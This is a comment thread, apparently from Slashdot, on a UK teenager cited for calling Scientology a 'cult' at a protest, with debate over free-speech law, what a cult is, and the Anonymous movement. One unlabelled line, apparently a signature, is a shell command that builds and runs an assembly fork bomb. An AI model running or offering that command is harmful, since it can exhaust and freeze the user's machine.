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UK Teen Cited For Calling Scientology a "Cult"
An anonymous reader writes "A 15-year-old in the UK is facing prosecution for using the word 'cult' to describe the Church of Scientology at an anti-Scientology demonstration in London earlier this month. According to the City of London police at the scene, the teen was violating the Public Order Act, which 'prohibits signs which have representations or words which are threatening, abusive or insulting.' There's a video of the teen receiving the summons from the City of London police at the demonstration (starting about 1 minute in), and now he's asking for advice on how to handle the court case."
The boy will surely be let off, but not before the whole world hears--and SEES--the story. All that will do is draw attention to the protest.
I predict: Score 1 for the good guys.
The only way this could be worse for Scientology is if the boy turns up dead anytime soon.
expandfairuse.org
"The City of London police came under fire two years ago when it emerged that more than 20 officers, ranging from constable to chief superintendent, had accepted gifts worth thousands of pounds from the Church of Scientology."
That's comforting. I wonder how many American cops, politicians, etc. the cult has on its payroll? Might as well disband the FBI and enlist Scientology as our intelligence service -- they seem to be much more effective at getting away with domestic espionage and dirty tricks.
..of Human Rights.. I'm pretty sure the law is in violation of Articles 10 and/or 11 of the European Convention on Human Rights..
This court actually works and has authority to rule in these cases. Might have to exhaust the legal avenues in the UK first though.
It takes a man to suffer ignorance and smile
Be yourself no matter what they say
Gotta love it! It is disheartening that it seems every European country, and Canada too, seems to have some kind of idiotic anti-speech law(s).
The scientology thing just serves to unmask this rather gigantic lapse in liberty. I think a better question than whether the kid is guilty or not is why you Brits have such laws. Further why aren't you outraged that such laws exist and why you aren't actively trying to overturn them? This isn't a flame but a serious question, since when the slightest bit of censorship rears its head in America we tend to jump all over it - as evidenced by the Youtube article still on the frontpage.
A religious cult, to the best of my understanding, shows the following features:
1) Is widely accepted to be a cult by those not involved. [like Scientology]
2) Is secretive regarding the beliefs of its members. [like Scientology]
3) Is secretive regarding the hierarchical organization of its members. [like Scientology]
To me, #3 is most concerning, and the best way to be labeled as a religious cult. Notice that almost all 'mainstream' religions are not guilty of #3 (e.g., the Catholic buck stops at the Pope), and rarely guilty of #2 (e.g., Muslims can point to the Koran), and also rarely guilty of #1.
- Demosthenes
cynicsreport.com
Can someone explain to me how this works. Someone can be summoned because they express a non-violent opinion about a group, yet religious groups who advocate the violent over throw of the government and the establishment of a theocracy falls under protected speech. From this side of the pond, Britain clearly needs to get it's priorities straight before the movie "Brazil" because a reality.
He may have been better off advocating the death of all Scientologists because the FSM needs their blood to build the greatest pirate ship of all time.
Burn Hollywood Burn
This is why we need open source governance.
If you help get the Metagovernment established, then it will be up to the people to decide how the people are governed. Weird concept, I know.
Indymedia has a good article about this. The protester, ironically, was objecting to "Fair Play", which is essentially harassment of any and all perceived foes. The citation identifies him and now he faces the same retaliation he objected to.
I am a name troll of Westlake. Visit my homepage to learn why.
- a system of religious worship directed towards a particular figure or object.
- a small religious group regarded as strange or as imposing excessive control over members.
- something popular or fashionable among a particular section of society.
Wave that dictionary page in front of the judge and "I Rest My Case". All of those three descriptives apply specifically and directly to Scientology.Now if the Judge/prosecution want to base an arrest on "when you say that scientology is a cult, you mean it as an insult" it is near-impossible to prove intent in a court of law. (at least, until they work our how to read my mind from a distance in a scientifically verifiable manner)
Anyhow, any defence lawyer would simply declare this "law" irrelevant and illegal - how can it possibly be legal to declare that writing a statement of fact on a sign and waving it around in public is illegal.
Visit CryptoGnome in his home.
engage a pro bono and use your time in the witness box to introduce every single piece of evidence you or anyone else can think of to prove the case, subpoena the entire board of directors and introduce the public to their Naval Division. I should imagine the tabloids will devour this case.
M'lud I would like to submit exhibit a) as evidence for the defense - The McLibel Case http://en.wikipedia.org/wiki/Mclibel
I would hazard an ejimacated guess, however, that it will never go to trial. The again, perhaps the present government is in need of a circus to distract everyone from their present poor standings. What could be better than a cult of goats?
Posts, MyBio or Sig, may contain satire, sarcasm, bolded nouns be sardonic or even witty & be Church of SD
How does bizarreness matter? The cult of scientology believes that evil space aliens murdered billions of other aliens by stuffing them into DC-10 like spaceships and blowing them up in earth's volcanoes with Hydrogen bombs. The cult of christianity believes that you can telepathically communicate with a dead god-fragment and tell him you love him and that he will accept you into his kingdom and cleanse you of a taint that was placed in all humanity by a rib-woman being tricked by a talking snake.
Scientology is insane, but so are pretty much all other religions.
Not a sentence!
In addition to the Human Rights Act, Britain has subtle legal system which is full of checks and balances.
E.g. post the "Behead those who insult Islam" demonstration there was much hostile media coverage.
http://www.speroforum.com/site/article.asp?idarticle=6403
The government responded to this by advising the police and CPS to use existing legal powers to stop people inciting violence at demonstrations. They also decided to amend the Public Order Act 1986.
http://en.wikipedia.org/wiki/Racial_and_Religious_Hatred_Act_2006
Now in this case, under section 5 of the Public Order Act 1986, it seems like the original act was too strict.
However, this guy has to go in front of a jury. A jury is likely to be more sympathetic to him than the "Behead those who insult Islam" types. You can think of the British system pre Human Rights Act as follows
1) Bad things happen like the Sloan Square demonstration.
2) The Media covers them and whips up a firestorm of panic
3) The government gets legal advice as to whether existing legal powers are enough to stop Bad Things happening again.
4) They introduce new legislation and/or brief the police/CPS to use their powers more aggressively. The police arrest people and the CPS decides whether there is a case for them to answer in court.
5) New legislation might cause false positives like this case where harmless people are prosectuted
6) Hopefully the government will advise the police/CPS not to do this in future and possibly amend legislation
7) The people prosecuted should be found not guilty because the jury is briefed, or maybe the judge will throw the case out. Or maybe they will get busted in which case the media will stir up a firestorm and force the government to legislate.
It's kind of funky but the system does have checks an balances. Of course the Human Rights Act allows people prosecuted in step 7 to appeal to the EU Court of Human Rights or judges to strike down legislation which breaks the HRA. Which is not really a good thing if you believe in the concept of "parliamentary sovereignty", but there you are.
And before Americans sneer that this is adhoc, you're right. But this system has led to a stable society where individual freedoms have either increased or stayed constant for hundreds of years, far longer than the US system has existed.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The prosecution could go further to the UK Racial and Religious Hatred Act 2006. However it can easily be argued having a sign that uses the word cult to describe Scientology is simply criticism, which is specifically protected under the Section 26J of the act. I think the prosecution is going have a hard time bringing this to court.
No, a man called Steve Hassan wrote some good guidelines for the destructive behavior of cults, at http://www.freedomofmind.com/resourcecenter/faq/. One key is the control over thoughts on members, insisting that they not only behave but that they think in certain ways. Scientology has this one down pat with their lie-detectors and 'auditing'. Another key factor is the pyramid scheme: Each level reports only to the upper levels, all data is centralized in thehands of a few, and any attempt to question leaders or shift dogma is met with harsh controls and even destruction of the questioning person.
Take a look at factnet.org for some history of this cult, and take a look at Susan Meister's case and her book, 'Scandal of Scientology', or hte old Time magazine article. They claim they shut down the internal security group that harassed Susan, but they seem to have simply transferred the leading personnel to other groups, and some of them are still active. This includes Kendrick Moxon, the attorney who successfully destroyed Cult Awareness Network.
"I can stand on a public street corner and say "George W. Bush sucks big hairy donkey dicks!" all I want..."
Uh, no you can't. There are still obscenity laws, and they are enforced when complaints are made, especially if minors are within earshot.
I knew a guy who was charged for shouting an obscene comment to a buddy while they were kayaking near a swimming area. The Christian youth group that was having an outing on the shore apparently called the police who were waiting when my friend came ashore. He ended up with ten hours of community service or some such nonsense, probably because the church members showed up at the court en masse as some sort of statement.
Besides, in terms of prediction, what matters is whether the 15-year-old kid would have predicted the outcome. If you'd done the same thing, it wouldn't have been irony, but rather would have been civil disobedience.
Wikileaks, no DNS
And GP is right that this can be brought before a magistrate prior to, or instead of, a jury trial.
At a protest outside a Scientology building, I saw a rather appropriate sign:
Ask a Christian about the Bible, and he'll tell you.
Ask a Jew about the Torah and he'll tell you.
Ask a Muslim about the Koran and he'll tell you.
Ask a Scientologist about HIS holy books and he'll tell you... after your check clears.
Say what you will about Christianity and other modern religions, (and I will) they're not, at their core, pyramid schemes for making profits. Scientology is.
It seems that English speaking countries are in a race to see who can become "Oceania" first. Britain is winning, but then again Eric Arthur Blair was British. I'm starting to believe some of the wags at slashdot who say he was an optimist (I think someone's sig says it too).
The thing is, the fact that this kid was prosecuted says to me that any British subject can be thrown in jail at any time at all for saying anything at all. The dictionary puts no derogatory meaning at all to the word "cult".The only one of the eight definitions posted that can in any way be considered derogatory is fittingly #6, and Scientology is certainly unorthodox and extremist. Then again, so are Islam, Bhuddism, Hinduism, Shintoism, and Judism (not to mention Atheism) in Britain (afaik), and Christianity is unorthodox and extremist in Muslim countries.
It is now illegal to discuss religion in Britain. If you are British and you post a comment in this thread, your government can throw you in jail.
But we in the US don't have a lot of room to talk. As I wrote two years ago,As I argued in the linked story, the US bill of rights in "our" Constitution has become meaningless in the last two centuries.
Welcome to Oceana, formerly called "Earth", number six.
mcgrew's razor: Never attribute to stupidity that which can be explained by greedy self-interest
Anyway - one person's view can be "Religion", another "Cult" and a third it can be "Lifestyle".
Cult: A small, unpopular religion.
Religion: A large, popular cult.
Further proof to support your point: the US Declaration of Independence sites as one the grievances against George III that he tried to deny the colonists their rights as "Englishmen". So obviously those rights must have been previously recognized in England, for the colonists to have assumed they had them.
God invented whiskey so the Irish would not rule the world.
The "Open Source" government may be closer than you think.
The phenomenon of anonymous, whatever you may personally think of their current "war" on Scientology, is something rather unique in human history. We have a relatively well coordinated, well mannered, peaceful "organization" having no membership, no particular leaders, no apparent fund-raising mechanism, and no organizational structure. Rather than being coordinated by a chain of command with structured communication channels, it seems to be organized chaotically by "memes" - ideas that become something like a cliche.
Despite all these properties which, in times past, would have been severe limitations, anonymous has now coordinated an international protest at dozens of cities around the world involving many thousands of people. This is simply incredible!
I believe thisto be an artifact of the Internet age, and a sign of things to come. While anonymous "members" appears to mostly consist of the younger college age, remember that the college kids of today are the first generation to grow up with ubiquitous global telecommunications. Just like hippie movement of the 1960's was the first generation to grow up with ubiquitous global communications in the form of television, so does the current new generation of anonymous represent the first generation to grow up with the Internet.
As a self-proclaimed Internet addict, I've watched anonymous with interest - the "memes" that provide so much power within anonymous apparently comprise nothing more than an idea posed by someone that others enjoyed and repeated. Anybody can throw up an idea, and the classic value of "reputation" seems to be lost, here. Ideas are presented by anyone, and when repeated by others who like the idea, they become memes. And memes are, as much, a way of doing or presenting information as it is the information itself. For example, there's a common theme in Digg articles of repeating adjectives. EG: "The lame article is lame". Of course, there's Rick-rolling, variations of "LOL", and a few others.
Could this meme-based anonymous evolve into a world government? In a sense, it already has, because this structure of memes is already coordinating the behavior of thousands! Why couldn't this evolve into a new way of governing? My guess is that anonymous evolves into a sort of meta-government. Rather than directly become a government agency, it becomes a sort of unstructured political party that exerts considerable power at the voting booth, and is able to reinforce its power through real-life protests and events, much like those going on against Scientology today.
Fascinating times! Watch and see!
I have no problem with your religion until you decide it's reason to deprive others of the truth.